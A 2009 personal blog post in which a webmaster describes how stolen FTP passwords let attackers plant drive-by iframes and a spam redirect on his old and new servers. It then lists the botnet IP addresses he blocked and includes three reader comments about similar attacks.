Aftermath: Results of a Hacker Attack

August 27th, 2009 by Chris

My literature site was one of the tens of thousands infected by a worm recently. This new type of attack works by not attacking insecurities on your site, initially I was worried it was from a backdoor or other weak script on my server, but rather it attacks webmasters at home by infecting work PCs and then sniffing for FTP passwords on that PC or on another PC on the network.

I am not sure if it was my network/PC that provided the entry, or that of someone who was doing work on the site at the time, but entry was gained via FTP. Luckily, since each user FTP account is restricted to their own directory, no system files were affected.

However, let me start at the beginning.

In late July I was told by my host that my server was dying. The hard drive was on it’s last leg and needed to be swapped out. They could give me a new hard drive, but then I’d be responsible for moving sites over, and there would likely be some downtime, I don’t like downtime, it costs me money. I argued with them asking why they could not merely mirror the drive, they said they didn’t do that sort of thing. Finally I settled on just getting a new server, but since I had paid for some serious upgrades to the current one I was worried about getting railroaded on the price on the new one.

Kudos to The Planet they didn’t railroad me at all. Instead they offered me a better server for about $100 less per month. Needless to say I took it, but that added a large deal of work for me to do in securing the new server, doing setups, moving files over, etc.

I had server hardening done by a company I had used in the past and proceeded to move most of the server files over. I got all of the static site files move, shut down the forums on the old servers, copied over the SQL databases, turned the forums on at the new servers, and tossed .htaccess files on the old server to redirect all requests to the new IP to cover the period of DNS uncertainty following a move.

Then I bought a rental property, and doing the negotiations with the realtor coupled with my wife going back to work and me becoming the primary daytime caretaker of my then 10 or 11 week old son (since I work from home), I was quite busy. After arranging our purchase agreement for the property my brother and I spent two days straight, working dawn to bedtime, gutting and renovating the upstairs unit. It was on Monday, the first day of our two day blitz, that the hackers attacked.

That weekend prior I had noticed a script not working under MySQL 5 (old server had MySQL 4, it was a left join issue). The script creator, a friend, whom I have an arrangement with (he handles the software, in exchange I provide him with content), was told and started working on it, and an hour or so after he started the hackers hit.

Hundreds of IP addressed logged into the server and started replacing index files, this was in the wee hours of Monday morning, I didn’t notice. I went to work at the rental building the next day also without noticing. I didn’t notice in fact until 3 AM on Tuesday morning when I got up to feed the baby. I was just too damn tired on Monday to notice and because there was no Apache downtime, I didn’t get any alerts as I would have in such a situation.

So I stayed up until 6 or 7 AM on Tuesday fixing the problem, that was a rough night. This hacker attack inserted iframes into index pages that would initiate a drive-by-download when users visited. Unfortunately for them, they failed. Their goal is to stealthily insert the code and then have it go unnoticed for weeks or months, in my case it was easy to see, and I would have noticed it easily had Monday been a normal day.

See, they inserted their iframe into a block of PHP code on my index page, oops. All they did was break the PHP causing the index page to throw a parsing error. No infected page was served to users, and the homepage of the site was effectively down. Now, you never like having your homepage go down, but this site gets almost all of it’s entry traffic through subdirectories, and having the homepage break for a day, thus informing me of the attack, would be better than having nothing happen and having me not notice it.

So, 3 AM on Tuesday morning I notice the site broken. I think it’s odd for me to have left a parse error like that on a life page without double checking, so I pull up the file, check it, see the malicious iframe, and immediately go into defense mode. First step, change all passwords. Second step, fix the index page. I SSH’d into the server and scanned for other changed files, using linux’s timestamps they were easy to find. They had changed about 50 or so index.php files (50 may seem like a lot, but the site has 4000+) in subdirectories. However, those files were all deprecated, the site switched to using cached plain index.html files awhile ago, so again, no infected files were served to users.

At this point I still didn’t know how access had been gotten, I was worried about script vulnerabilities most of all, and I looked, and looked, and looked, and couldn’t find anything. I was especially doubtful it was a script vulnerability because nothing was inserted into a MySQL database, and the php files that were edited could only be edited by root. I knew they didn’t have root, both because I was confident in the security of my root access, and also because only one site on the server was compromised (likewise, none of my other sites on any server were compromised).

I also suspected, though I did not yet know, that a keylogger on my own PC could have been the culprit, so I installed a few new AV programs and did a lot of scans to make sure my system was clean.

Eventually I figured out it was an FTP attack, but I felt fine about it. Passwords had been changed, logs checked and they didn’t FTP to get any important files, they didn’t touch any of my backend files where the database work is done, just those handful of index.php files with the iframes that never got served to visitors.

So, like two weeks later, I get a notice from one of my forum members. When visiting some of the pages on the site they were warned by Google it had malicious code. So I go check Google Webmaster Central where I have an account with this site verified, and yes, they report malicious code on many pages as recently as the current day. They’re also supposed to email you when that happens, I never got the email. They had apparently had parts of the site flagged for 10 days or more. Additionally, they had pages flagged that the hackers never touched. Had I not been busy with baby and business I may have noticed traffic plummeting, but I normally get traffic dips this time of year between school semesters, so I’m not sure I would have (though, this is now the lowest traffic has been in nearly 8 years probably).

So for the last few days I’ve been wracking my brain trying to figure out how Google is seeing malicious code on pages where I have gone over them, again and again, with a fine tooth comb. I even rebuilt apache entirely on the server. I could find nothing, and Google kept reporting seeing it.

So today I was going to finally cancel the old server, I had left it up because stupid search engine crawlers don’t update their DNS quickly enough. Regular ISPs will do it in hours, but for some reason search engines can go weeks without updating DNS. So I SSH’d to the server to check things out, I checked netstat and sure enough, a bunch of Yahoo Slurps and a few Googlebots were still poking around on it. I thought, this is stupid, I know I setup an .htaccess redirect, why isn’t it working? So I go and read the .htaccess file.

Bingo.

I had never checked the old server after the attack, I never changed the password on it. Turns out both the new and old servers had been attacked simultaneously, and while the new server had the attack stopped quickly, the old server let the attackers keep on coming for weeks. Eventually they replaced my redirecting .htaccess with one of their own which redirected visitors to their spam site, this in effect infected all URLs on the site.

So, for the handful of Googlebots that were using the old DNS (and anyone else), when they’d visit the site they’d see the infection and flag the URL, but since most Googlebots had the new DNS, they saw a clean site and that is why I was seeing inconsistencies.

I’ve lost a lot of money over this incident, probably over a thousand dollars in lost ad revenue because of the traffic loss, assuming I can get the Google warnings removed quickly now. Assuming there is no long term losses in traffic or search rankings I think I got off light. It is a lot of money, but it was an important lesson to learn. I never thought to check the old server. Money lost or not, I’m just happy to finally know the cause of the malware flags, and to know that I have corrected the issue. I’ll be able to stop stressing out over something I couldn’t figure out.

What follows is a list of IP addresses that were involved in the attack on my servers. Obviously these IPs are just infected members of the hacker’s botnet, but I thought it was worthwhile to block them in my firewall, and I include them here if any of you want to do the same. The first IP in the list has special significance, it was the IP that did the .htaccess modifications on the old server, all the other IPs just edited (over and over) index files.

212.117.164.85
79.117.20.249
79.117.20.249
218.102.203.55
174.0.202.134
79.115.111.54
66.189.113.177
89.47.41.13
86.2.107.229
219.251.167.197
77.81.33.229
24.32.80.111
89.47.41.13
201.246.80.142
218.175.218.242
58.172.225.247
117.193.32.240
92.63.17.24
217.132.80.147
80.74.58.154
114.59.25.79
123.237.147.83
86.2.107.229
78.84.101.159
200.92.154.43
24.37.224.241
98.237.167.233
66.67.145.171
24.128.185.92
200.30.207.250
67.70.160.208
86.100.84.188
83.84.102.137
213.51.101.16
87.97.33.212
59.17.170.15
116.99.19.240
89.33.147.213
210.4.59.12
4.131.2.15
117.200.67.134
74.216.76.39
94.101.234.207
86.2.107.229
219.77.28.170
217.16.130.127
24.128.185.92
24.91.170.95
115.133.119.124
59.99.0.56
93.148.114.46
117.193.32.240
200.30.207.250
201.246.80.142
213.113.5.186
190.191.108.130
89.40.58.2
124.188.229.40
85.196.181.195
62.245.99.95
78.39.33.15
75.116.238.110
24.128.185.92
85.196.181.207
117.195.11.176
123.201.79.131
93.118.208.51
79.112.159.102
24.128.185.92
219.240.89.41
94.178.111.77
190.192.202.241
58.8.229.11
68.53.52.68
124.120.117.7
75.116.238.110
94.213.136.251
189.221.147.103
78.228.180.5
82.46.37.118
117.204.98.14
78.137.181.247
76.95.67.241
190.173.202.44
85.120.190.198
84.3.130.240
99.250.37.243
124.121.93.27
88.222.209.25
115.128.37.245
114.123.92.101
62.85.76.27
89.43.90.104
202.164.39.27
216.164.169.81
82.217.39.212
201.132.64.193
61.244.86.209
88.236.24.246
92.115.37.89
24.65.84.90
114.41.174.129
78.106.110.177
190.192.202.241
85.66.12.104
120.32.24.229
95.25.80.124
74.65.241.133
68.40.132.230
76.178.95.161
213.222.161.229
91.145.132.128
117.192.200.17
86.127.244.177
86.124.193.126
123.236.90.19
87.97.33.212
62.85.76.27
69.139.222.57
84.245.204.191
78.97.134.135
85.66.12.104
114.59.25.79
190.191.108.130
92.114.126.25
219.251.167.197
82.239.132.43
59.104.169.214
78.0.145.184
116.74.97.161
94.159.217.86
79.117.27.233
94.21.107.50
140.109.91.195
78.30.157.53
123.237.106.19
189.221.147.103
124.121.93.27
79.234.49.163
95.25.80.124
212.182.40.23
81.111.195.148
86.5.51.95
91.72.218.29
82.44.0.6
87.18.87.8
79.70.41.175
83.222.189.153
203.217.42.46
114.123.92.101
190.49.126.205
173.24.63.82
75.17.203.209
59.93.93.83
79.37.241.252
87.176.233.74
219.88.34.178
92.114.230.8
92.114.230.8
85.216.196.162
85.65.13.175
62.240.90.77
85.10.80.228
78.58.9.118
74.65.241.133
193.230.181.240
82.0.124.188
117.199.126.190
84.229.188.125
94.28.183.122
74.79.17.32
62.24.73.188
61.223.1.62
210.89.55.225
201.246.80.142
59.97.185.139
188.36.193.184
86.127.57.103
114.42.130.233
213.113.196.137
94.54.53.52
77.126.144.52
82.46.37.118
77.38.136.233
88.216.28.20
213.91.218.202
63.19.178.177
87.207.95.104
95.180.136.132
91.73.249.218
87.97.4.194
91.146.134.141
84.3.252.31
69.221.155.131
186.40.45.6
72.39.16.207
79.199.98.18
186.9.45.220
84.131.71.114
88.174.28.147
92.115.23.131
115.98.198.229
86.38.42.149
79.125.236.81
68.103.141.179
92.48.32.141
114.59.196.88
210.89.55.225
117.200.148.0
74.160.2.158
188.16.1.97
89.45.5.220
206.174.245.219
70.48.113.216
68.113.46.200
79.117.216.118
93.118.208.51
85.216.196.162
84.127.16.132
84.69.207.158
80.56.249.47
77.238.195.201
93.123.6.38
85.122.61.56
89.136.80.51
147.31.141.101
114.123.92.101
77.76.131.129
118.136.231.67
94.21.107.50
77.29.181.103
61.224.216.98
119.234.170.146
75.70.63.10
84.1.181.20
24.201.228.235
92.229.80.15
79.163.135.35
92.80.248.19
94.83.88.156
190.9.221.56
59.99.0.56
193.230.181.240
77.28.63.247
196.206.81.227
116.75.115.201
81.183.66.70
81.22.136.238
58.172.225.247
78.106.110.177
206.174.245.219
70.176.81.61
82.192.42.183
219.81.234.175
93.136.25.164
80.200.127.165
98.222.169.222
76.251.220.58
89.45.5.220
92.114.14.193
91.146.134.141
61.60.222.236
89.168.155.224
211.135.120.9
116.49.20.238
75.199.98.145
117.200.57.53
62.85.122.186
83.222.189.153
68.106.182.30
206.174.245.219
89.138.86.118
89.45.5.220
92.114.37.191
81.233.189.78
119.152.84.235
91.146.166.215
124.8.244.102
77.56.237.180
124.8.244.102
93.172.43.59
85.66.12.104
24.81.105.1
85.226.34.45
81.104.86.28
116.99.19.240
201.132.64.193
98.229.93.175
219.73.29.142
94.213.136.251
190.173.202.44
78.106.110.177
99.235.39.126
190.173.215.73
117.195.163.217
200.85.202.141
78.185.132.204
92.50.44.220
98.209.226.87
75.70.63.10
87.205.211.216
69.140.197.106
81.104.86.28
66.141.139.87
78.106.110.177
124.8.244.102
112.201.14.4
92.81.81.30
218.166.196.70
205.189.22.10
195.174.72.34
173.88.160.160
91.4.101.16
216.164.169.81
68.96.121.18
24.190.26.208
212.73.52.124
190.173.202.44
118.42.146.27
117.203.0.159
84.68.17.194
62.245.99.95
115.43.126.186
89.25.108.25
75.67.100.77
89.133.139.125
117.200.145.126
188.36.193.184
85.65.4.90
78.97.204.60
89.42.254.37
95.180.136.132
87.97.96.113
190.16.52.114
77.81.227.59
88.187.212.141
92.46.214.208
85.132.231.228
89.39.198.119
85.216.196.162
85.65.4.90
68.106.143.104
66.189.113.177
82.33.22.132
24.201.228.235
218.175.218.242
77.238.195.201
118.46.119.43
87.110.86.110
84.110.237.25
79.163.21.91
220.139.63.82
140.109.91.195
82.27.243.35
89.216.170.53
83.213.5.31
18.205.1.16
75.116.238.110
89.138.86.118
79.117.20.249
74.192.204.157
81.22.136.238
117.204.68.218
92.50.44.220
202.86.181.243
69.140.68.112
195.249.88.183
125.203.156.185
77.28.146.49
76.178.95.161
77.81.39.125
59.99.19.95
114.38.113.247
69.140.68.112
82.72.119.165
93.84.84.2
92.114.126.25
218.175.218.242
213.231.32.245
120.88.36.144
123.236.174.228
211.135.120.9
78.97.196.155
69.143.67.95
75.60.202.176
92.114.117.75
92.114.14.193
89.214.105.243
79.119.124.141
124.125.105.198
158.108.12.41
190.158.40.13
91.72.218.29
89.135.160.24
202.164.39.27
117.204.224.99
94.21.196.169
88.187.212.141
81.182.91.113
118.160.17.35
190.190.119.162
115.128.65.23
79.121.132.204
99.226.253.67
84.3.239.2
74.72.219.152
92.81.183.57
218.148.224.221
79.118.146.17
117.195.161.76
92.40.43.31
221.27.12.174
82.181.171.237
212.96.62.1
24.45.254.191
79.121.132.204
78.97.196.155
58.9.246.48
99.129.19.139
92.114.117.75
74.14.3.164
88.174.28.147
41.201.213.135
59.95.21.123
89.136.75.70
59.149.112.223
92.81.183.57
125.203.156.185
92.114.76.145
213.37.176.154
58.107.225.103
81.235.238.196
85.231.73.148
217.16.130.220
89.103.48.81
190.173.202.44
78.185.132.204
85.216.10.151
200.85.202.141
116.75.115.201
87.18.87.8
203.218.231.97
188.2.225.51
92.40.73.219
89.229.193.227
116.68.240.48
77.81.227.59
213.66.16.31
212.233.233.173
68.52.60.99
86.127.57.103
76.29.227.242
88.165.89.233
92.41.63.25
69.144.132.7
190.18.171.4
213.231.32.245
89.41.249.39
89.103.48.81
90.231.107.150
88.132.7.212
119.234.32.159
75.66.155.50
77.99.113.103
94.249.23.187
76.185.179.239
84.175.248.58
89.78.97.67
77.208.79.98
68.39.77.58
118.46.119.43
92.82.124.163
213.114.121.206
88.114.126.173
87.97.4.194
211.30.246.220
69.24.162.96
142.217.107.109
92.2.0.99
68.225.218.234
61.216.115.43
79.136.58.83
114.76.215.16

No related posts.

Posted in: Website Management »  by: Chris

3 Responses to “Aftermath: Results of a Hacker Attack”

  1. Anthony Cea  Says:
    August 29th, 2009 at 6:58 am

    So you are saying that your local PC was hijacked with malware and they got your server passwords from that situation ?

    I guess you need to run SpyBot Search & Destroy more, I was forced to go back to it recently since my AV software was not stopping all the threats that you pick up simply from surfing the web now days.

  2. Roland  Says:
    September 1st, 2009 at 2:03 am

    Hello Chris,

    Several of my sites got infected by this attack, too. We were puzzled at first because sites on two different hosting accounts were hacked in exactly the same way. I didn’t immediately think that one of my office PCs would be the problem.

    In the end we did isolate the cause of the infection – a laptop used to administer all the sites involved – and rebuilt it.

    Interesting to read someone else’s experience on this – having two servers running concurrently at the time of the attack was an unfortunate coincidence for you!

    Regards,

    Roland

  3. Geoff  Says:
    September 3rd, 2009 at 1:46 pm

    I found your article whilst searching for the IP that made a similar attack on one of my sites in early August. My attacks started after installing FileZilla.

    92.114.126.25 (a games server in Romania) appears in my FTP logs 5 times. I’ve seen the same IP in the log of another site that has been destroyed by a similar attack. Complaints to abuse at the service provider have not produced a response.

Leave a Response








(Email field must be filled in)

Top of page...